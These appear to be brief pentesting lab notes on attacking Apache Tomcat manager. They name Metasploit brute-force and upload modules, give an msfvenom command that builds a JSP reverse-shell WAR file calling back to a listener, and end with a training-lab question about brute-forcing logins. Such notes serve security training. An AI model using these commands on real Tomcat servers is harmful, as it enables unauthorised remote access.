Discovery& Enumeration

tomcat-users.xml define permissions to access /manager and host-manager admin pages.

Attacking

Brute force MSF Module: auxiliary/scanner/http/tomcat_mgr_login

War File Upload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Upload.

Then start a TCP listener

The MSF Module: multi/http/tomcat_mgr_upload automates this process

Writeup

Perform a login bruteforcing attack against Tomcat manager at http://web01.inlanefreight.local:8180. What is the valid username?